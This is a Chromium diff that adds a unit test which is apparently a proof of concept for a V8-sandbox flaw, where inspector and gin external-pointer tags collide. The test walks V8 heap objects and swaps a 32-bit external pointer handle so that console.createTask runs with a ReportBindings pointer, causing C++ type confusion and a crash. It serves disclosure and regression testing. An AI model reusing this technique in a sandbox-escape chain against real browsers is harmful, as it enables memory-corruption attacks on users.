diff --git a/content/services/auction_worklet/BUILD.gn b/content/services/auction_worklet/BUILD.gn index 02e8ab7cd0f78..156440fca9be8 100644 --- a/content/services/auction_worklet/BUILD.gn +++ b/content/services/auction_worklet/BUILD.gn @@ -173,6 +173,7 @@ source_set("tests") { "bidder_worklet_thread_selector_unittest.cc", "context_recycler_unittest.cc", "debug_command_queue_unittest.cc", + "external_pointer_tag_collision_unittest.cc", "direct_from_seller_signals_requester_unittest.cc", "public/cpp/auction_downloader_unittest.cc", "public/cpp/private_aggregation_reporting_unittest.cc", diff --git a/content/services/auction_worklet/external_pointer_tag_collision_unittest.cc b/content/services/auction_worklet/external_pointer_tag_collision_unittest.cc new file mode 100644 index 0000000000000..a6fc185bd0d1f --- /dev/null +++ b/content/services/auction_worklet/external_pointer_tag_collision_unittest.cc @@ -0,0 +1,338 @@ +// Copyright 2025 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Proof-of-concept for a V8-sandbox ExternalPointerTypeTag collision: +// v8/src/inspector hardcodes v8::ExternalPointerTypeTag values 9/10/11 +// ("picked arbitrarily") which numerically collide with +// gin::kRegisterAdMacroBindingsTag / kReportBindingsTag / kSetBidBindingsTag. +// +// In the auction-worklet utility process both gin-tagged Externals (e.g. +// ReportBindings*) and inspector-tagged Externals (V8Console*) coexist in the +// same ExternalPointerTable once DevTools is attached. An attacker who has +// obtained in-sandbox arbitrary read/write (the V8-sandbox attacker model) can +// swap the 32-bit ExternalPointerHandle between two such JSExternalObjects; +// the per-type tag check that v8::External::Value() performs then *passes*, +// returning a live pointer of the wrong C++ type — out-of-sandbox C++ type +// confusion. +// +// Part 1 (TagCollisionDefeatsTypeCheck) demonstrates the root cause directly: +// External::Value() with the colliding tag returns the wrong-typed pointer +// instead of nullptr. +// +// Part 2 (TypeConfusionViaHandleSwap) sets up the real production scenario +// (AuctionV8Helper + V8Inspector + ReportBindings + console.createTask), +// performs the in-heap 32-bit handle swap (a purely in-sandbox operation), and +// calls console.createTask() — V8Console::createTask() then runs with +// `this == ReportBindings*` and crashes when dereferencing m_inspector / +// m_taskTemplate / m_tasks at the wrong offsets. +// +// NOTE: Part 2 is *expected to crash the test process* (that is the proof). + +#include + +#include "base/run_loop.h" +#include "base/task/single_thread_task_runner.h" +#include "base/test/task_environment.h" +#include "content/services/auction_worklet/auction_v8_helper.h" +#include "content/services/auction_worklet/auction_v8_logger.h" +#include "content/services/auction_worklet/report_bindings.h" +#include "content/services/auction_worklet/worklet_v8_debug_test_util.h" +#include "gin/public/gin_embedders.h" +#include "testing/gtest/include/gtest/gtest.h" +#include "v8/include/v8-context.h" +#include "v8/include/v8-exception.h" +#include "v8/include/v8-external.h" +#include "v8/include/v8-function.h" +#include "v8/include/v8-inspector.h" +#include "v8/include/v8-internal.h" +#include "v8/include/v8-object.h" +#include "v8/include/v8-script.h" + +namespace auction_worklet { + +namespace { + +// The hardcoded v8::ExternalPointerTypeTag values from v8/src/inspector/. +// See v8/src/inspector/v8-console.cc:521, v8-console.h:204, +// v8-serialization-duplicate-tracker.cc:52. +constexpr v8::ExternalPointerTypeTag kInspectorTaskInfoTag = 9; +constexpr v8::ExternalPointerTypeTag kInspectorV8ConsoleTag = 10; +constexpr v8::ExternalPointerTypeTag kInspectorDictionaryValueTag = 11; + +// --------------------------------------------------------------------------- +// Compile-time proof of the collision. If gin's enum is ever reordered the +// collision moves but does not disappear; the static_asserts here document the +// *current* aliases. +static_assert(static_cast(gin::kRegisterAdMacroBindingsTag) == + static_cast(kInspectorTaskInfoTag), + "gin tag 9 collides with v8_inspector kTaskInfoTag"); +static_assert(static_cast(gin::kReportBindingsTag) == + static_cast(kInspectorV8ConsoleTag), + "gin tag 10 collides with v8_inspector kV8ConsoleTag"); +static_assert(static_cast(gin::kSetBidBindingsTag) == + static_cast(kInspectorDictionaryValueTag), + "gin tag 11 collides with v8_inspector kDictionaryValueTag"); + +// --------------------------------------------------------------------------- +// In-sandbox heap-walk helpers (simulating an attacker with V8-heap r/w). +// These use only the public v8-internal.h offsets plus per-object offsets +// that an in-sandbox attacker would discover by scanning. The marker check +// below verifies them at runtime so layout drift fails loudly. +using I = v8::internal::Internals; +using v8::internal::Address; + +// Layout offsets with V8_COMPRESS_POINTERS + V8_ENABLE_SANDBOX (Chrome +// defaults on x64). +constexpr int kTagged = v8::internal::kApiTaggedSize; // 4 +// JSFunction: [map|props|elems] [dispatch_handle:int32] [SFI] ... +constexpr int kJSFunctionSfiOffset = I::kJSObjectHeaderSize + 4; +// SharedFunctionInfo: [map] [trusted_function_data:TrustedPtr32] +// [untrusted_function_data] ... +constexpr int kSfiUntrustedFunctionDataOffset = kTagged + 4; +// FunctionTemplateInfo: [map][flags][nprops][plist][pacc] +// [class][iface][sig][rare][sfi][cached][callback_data] +constexpr int kFtiCallbackDataOffset = 11 * kTagged; +// JSExternalObject: [map|props|elems] [value_:ExternalPointerHandle32] +constexpr int kJSExternalValueOffset = I::kJSObjectHeaderSize; + +// Walks JSFunction → SFI → FunctionTemplateInfo → callback_data and returns +// the *tagged* heap address of the JSExternalObject bound as `data`. +Address FunctionDataExternalAddress(v8::Local fn) { + Address fn_addr = v8::internal::ValueHelper::ValueAsAddress(*fn); + Address sfi = I::ReadTaggedPointerField(fn_addr, kJSFunctionSfiOffset); + Address fti = + I::ReadTaggedPointerField(sfi, kSfiUntrustedFunctionDataOffset); + return I::ReadTaggedPointerField(fti, kFtiCallbackDataOffset); +} + +// Returns a pointer to the in-heap 32-bit ExternalPointerHandle slot of the +// JSExternalObject at tagged address `ext`. +uint32_t* ExternalHandleSlot(Address ext) { + return reinterpret_cast(ext + kJSExternalValueOffset - + v8::internal::kHeapObjectTag); +} + +// Reads the out-of-sandbox pointer stored in the JSExternalObject at tagged +// address `ext` via the ExternalPointerTable, using the kFirstExternalTypeTag +// + api_tag arithmetic that v8::External::Value() uses. +void* ReadExternalValue(v8::Isolate* isolate, + Address ext, + v8::ExternalPointerTypeTag api_tag) { + uint16_t tag = static_cast(v8::internal::kFirstExternalTypeTag) + + static_cast(api_tag); + v8::internal::ExternalPointerTagRange range( + static_cast(tag), + static_cast(tag)); + return reinterpret_cast(I::ReadExternalPointerField( + isolate, ext, kJSExternalValueOffset, range)); +} + +void DummyCallback(const v8::FunctionCallbackInfo&) {} + +// --------------------------------------------------------------------------- + +class ExternalPointerTagCollisionTest : public testing::Test { + public: + ExternalPointerTagCollisionTest() + : helper_(AuctionV8Helper::Create( + base::SingleThreadTaskRunner::GetCurrentDefault())) { + base::RunLoop().RunUntilIdle(); + v8_scope_ = + std::make_unique(helper_.get()); + } + + protected: + base::test::TaskEnvironment task_environment_; + scoped_refptr helper_; + std::unique_ptr v8_scope_; +}; + +} // namespace + +// =========================================================================== +// Part 1: the EPT type-tag check is defeated by the collision. +// +// v8::External::Value(tag) is supposed to return nullptr when `tag` does not +// match the tag the External was created with. Because gin::kReportBindingsTag +// and v8_inspector's kV8ConsoleTag are both 10, reading a gin-tagged External +// with the inspector tag (or vice-versa) returns the *wrong-typed* pointer +// instead of nullptr. +TEST_F(ExternalPointerTagCollisionTest, TagCollisionDefeatsTypeCheck) { + v8::Isolate* isolate = helper_->isolate(); + v8::Local context = helper_->CreateContext(); + v8::Context::Scope ctx_scope(context); + + // Two distinct C++ objects standing in for ReportBindings / V8Console. + int report_bindings_standin = 0x11111111; + int v8_console_standin = 0x22222222; + + v8::Local gin_ext = + v8::External::New(isolate, &report_bindings_standin, + gin::kReportBindingsTag); // api_tag 10 + v8::Local insp_ext = + v8::External::New(isolate, &v8_console_standin, + kInspectorV8ConsoleTag); // api_tag 10 + + // ==> THE BUG: reading the gin-tagged External with the inspector tag passes + // the EPT type check (which would otherwise SBXCHECK-fail) and returns the + // gin pointer. An in-sandbox attacker who swaps the two JSExternalObjects' + // 32-bit handles therefore hands the wrong-typed live pointer straight to + // native code instead of being stopped at the SBXCHECK. + void* p1 = gin_ext->Value(kInspectorV8ConsoleTag); + void* p2 = insp_ext->Value(gin::kReportBindingsTag); + EXPECT_EQ(&report_bindings_standin, p1) + << "EPT tag check defeated: gin External readable with inspector tag"; + EXPECT_EQ(&v8_console_standin, p2) + << "EPT tag check defeated: inspector External readable with gin tag"; + + // The same holds for tags 9 and 11. + v8::Local macro_ext = v8::External::New( + isolate, &report_bindings_standin, gin::kRegisterAdMacroBindingsTag); + EXPECT_EQ(&report_bindings_standin, + macro_ext->Value(kInspectorTaskInfoTag)); + v8::Local setbid_ext = v8::External::New( + isolate, &report_bindings_standin, gin::kSetBidBindingsTag); + EXPECT_EQ(&report_bindings_standin, + setbid_ext->Value(kInspectorDictionaryValueTag)); +} + +// =========================================================================== +// Part 2: full production scenario → out-of-sandbox type confusion crash. +// +// Sets up the exact state that exists in the auction-worklet utility process +// when DevTools is attached, performs the single 32-bit in-heap write the +// attacker model permits, and calls `console.createTask("x")`. +// +// V8Console::call then reads info.Data()->Value(kV8ConsoleTag); +// the tag check (10==10) passes; the returned pointer is a ReportBindings*; +// V8Console::createTask() dereferences `this->m_inspector`, +// `this->m_taskTemplate`, `this->m_tasks` at V8Console offsets inside a +// ReportBindings allocation — out-of-sandbox C++ type confusion. +// +// THIS TEST IS EXPECTED TO CRASH (ASAN / SEGV). That is the proof. +TEST_F(ExternalPointerTagCollisionTest, TypeConfusionViaHandleSwap) { + v8::Isolate* isolate = helper_->isolate(); + + // (1) Instantiate the V8Inspector (what ConnectDevToolsAgent does). + TestInspectorClient inspector_client(helper_.get()); + helper_->SetV8InspectorForTesting( + v8_inspector::V8Inspector::create(isolate, &inspector_client)); + + // (2) Create the worklet context and attach ReportBindings — this creates a + // v8::External holding {ReportBindings*, gin::kReportBindingsTag (=10)} + // bound as `data` for global `sendReportTo`. + v8::Local context = helper_->CreateContext(); + v8::Context::Scope ctx_scope(context); + AuctionV8Logger logger(helper_.get(), context); + ReportBindings report_bindings(helper_.get(), &logger, + /*queue_report_aggregate_win_allowed=*/false); + report_bindings.AttachToContext(context); + + // (3) Notify the inspector of the context (what DebugContextScope does on + // every RunScript/CallFunction). InspectedContext's ctor finds the + // `console` global and calls V8Console::installAsyncStackTaggingAPI(), + // which creates a v8::External holding {V8Console*, kV8ConsoleTag (=10)} + // bound as `data` for `console.createTask`. + { + v8_inspector::V8ContextInfo info( + context, /*contextGroupId=*/1, + v8_inspector::StringView(reinterpret_cast("poc"), 3)); + helper_->inspector()->contextCreated(info); + } + + v8::Local global = context->Global(); + v8::Local sendReportTo = + global + ->Get(context, helper_->CreateStringFromLiteral("sendReportTo")) + .ToLocalChecked() + .As(); + v8::Local console = + global->Get(context, helper_->CreateStringFromLiteral("console")) + .ToLocalChecked() + .As(); + v8::Local ct_v = + console->Get(context, helper_->CreateStringFromLiteral("createTask")) + .ToLocalChecked(); + ASSERT_TRUE(ct_v->IsFunction()) << "console.createTask not installed"; + v8::Local createTask = ct_v.As(); + + // (4) Verify our heap-walk offsets with a marker, so layout drift fails + // loudly instead of corrupting unrelated memory. + int marker_obj = 0; + v8::Local marker = + v8::External::New(isolate, &marker_obj, gin::kReportBindingsTag); + v8::Local marker_fn = + v8::Function::New(context, &DummyCallback, marker).ToLocalChecked(); + ASSERT_EQ(v8::internal::ValueHelper::ValueAsAddress(*marker), + FunctionDataExternalAddress(marker_fn)) + << "V8 object layout changed; update heap-walk offsets"; + + // (5) Locate both production JSExternalObjects via the in-sandbox heap walk + // and confirm they hold the expected pointers. + Address ext_report = FunctionDataExternalAddress(sendReportTo); + Address ext_console = FunctionDataExternalAddress(createTask); + void* report_ptr = + ReadExternalValue(isolate, ext_report, gin::kReportBindingsTag); + void* console_ptr = + ReadExternalValue(isolate, ext_console, kInspectorV8ConsoleTag); + ASSERT_EQ(&report_bindings, report_ptr) + << "heap walk did not find ReportBindings External"; + ASSERT_NE(nullptr, console_ptr) << "heap walk did not find V8Console External"; + ASSERT_NE(report_ptr, console_ptr); + + // ==> THE BUG, in-situ: the *production* V8Console External is readable with + // the gin tag and vice-versa. This is what makes the swap below effective. + EXPECT_EQ(console_ptr, + ReadExternalValue(isolate, ext_console, gin::kReportBindingsTag)); + EXPECT_EQ(report_ptr, + ReadExternalValue(isolate, ext_report, kInspectorV8ConsoleTag)); + + // (6) ==== V8-SANDBOX ATTACKER STEP ==== + // Overwrite console.createTask's JSExternalObject ExternalPointerHandle + // (a 32-bit *in-sandbox* field) with sendReportTo's handle. This is the + // only memory write the attacker performs, and it lies entirely inside + // the V8 sandbox. + uint32_t* h_report = ExternalHandleSlot(ext_report); + uint32_t* h_console = ExternalHandleSlot(ext_console); + fprintf(stderr, + "[POC] before: sendReportTo handle=%08x console.createTask " + "handle=%08x\n", + *h_report, *h_console); + *h_console = *h_report; // <-- single in-sandbox 32-bit write + fprintf(stderr, + "[POC] after: console.createTask handle=%08x → now resolves to " + "ReportBindings* (%p) under kV8ConsoleTag\n", + *h_console, static_cast(&report_bindings)); + + // Confirm: the External bound to console.createTask now yields + // ReportBindings* when read with kV8ConsoleTag — the EPT type check has been + // defeated and V8Console::call will receive the wrong-typed + // pointer. + ASSERT_EQ(&report_bindings, + ReadExternalValue(isolate, ext_console, kInspectorV8ConsoleTag)); + + // (7) Call console.createTask("x"). V8Console::call now does: + // V8Console* console = static_cast( + // info.Data().As()->Value(kV8ConsoleTag)); // OK! + // (console->*createTask)(info); // this == ReportBindings* + // and createTask() dereferences m_inspector / m_taskTemplate / m_tasks + // at V8Console offsets inside the ReportBindings allocation. + fprintf(stderr, + "[POC] calling console.createTask('poc') with type-confused `this` — " + "expecting out-of-sandbox crash\n"); + v8::TryCatch try_catch(isolate); + v8::Local src = + helper_->CreateStringFromLiteral("console.createTask('poc');"); + v8::Local script = + v8::Script::Compile(context, src).ToLocalChecked(); + (void)script->Run(context); + + // If we get here the type confusion did not crash, which would mean the + // confused field offsets happened to land on benign values on this build — + // the tag-check bypass (asserted above) is the security defect regardless. + FAIL() << "console.createTask() returned without crashing; tag-collision " + "bypass is still proven by the assertions above."; +} + +} // namespace auction_worklet